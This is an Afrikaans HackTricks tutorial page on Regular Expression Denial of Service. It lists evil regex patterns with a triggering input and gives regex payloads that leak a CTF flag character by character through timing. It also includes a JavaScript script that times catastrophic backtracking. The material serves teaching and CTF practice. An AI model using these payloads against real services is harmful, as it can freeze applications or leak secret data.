Regular expression Denial of Service - ReDoS

Regular expression Denial of Service - ReDoS

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Regular Expression Denial of Service (ReDoS)

'n Regular Expression Denial of Service (ReDoS) gebeur wanneer iemand voordeel trek uit swakhede in hoe regulêre uitdrukkings ( 'n manier om patrone in teks te soek en pas) werk. Soms, wanneer regulêre uitdrukkings gebruik word, kan hulle baie stadig word, veral as die stuk teks waarmee hulle werk, groter word. Hierdie stadigheid kan so erg word dat dit baie vinnig groei selfs met klein toenames in die teks grootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regulêre uitdrukkings gebruik, lankal nie behoorlik werk nie.

Die Problematiese Regex Naïve Algoritme

Kyk na die besonderhede in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Bose Regexes

'n Bose regulêre uitdrukkingspatroon is een wat vassteek op gekonstrueerde insette en 'n DoS veroorsaak. Bose regex-patrone bevat tipies groepering met herhaling en herhaling of afwisseling met oorvleueling binne die herhaalde groep. 'n Paar voorbeelde van bose patrone sluit in:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} vir x > 10

Al hierdie is vatbaar vir die inset aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS-lading

Teksuitvoer via ReDoS

In 'n CTF (of foutbeloning) beheer jy dalk die Regex waarmee 'n sensitiewe inligting (die vlag) ooreenstem. Dan kan dit nuttig wees om die bladsy te bevries (tyduitloop of langer verwerkingstyd) as die Regex ooreenstem en nie as dit nie doen nie. Op hierdie manier sal jy in staat wees om die teks karakter vir karakter uit te voer:

  • In hierdie pos kan jy hierdie ReDoS-reël vind: ^(?=<flag>)((.*)*)*salt$

  • Voorbeeld: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • In hierdie oplossing kan jy hierdie een vind: <flag>(((((((.*)*)*)*)*)*)*)!

  • In hierdie oplossing het hy gebruik: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Beheer van Inset en Regex

Die volgende is ReDoS voorbeelde waar jy beide die inset en die regex beheer:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Gereedskap

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated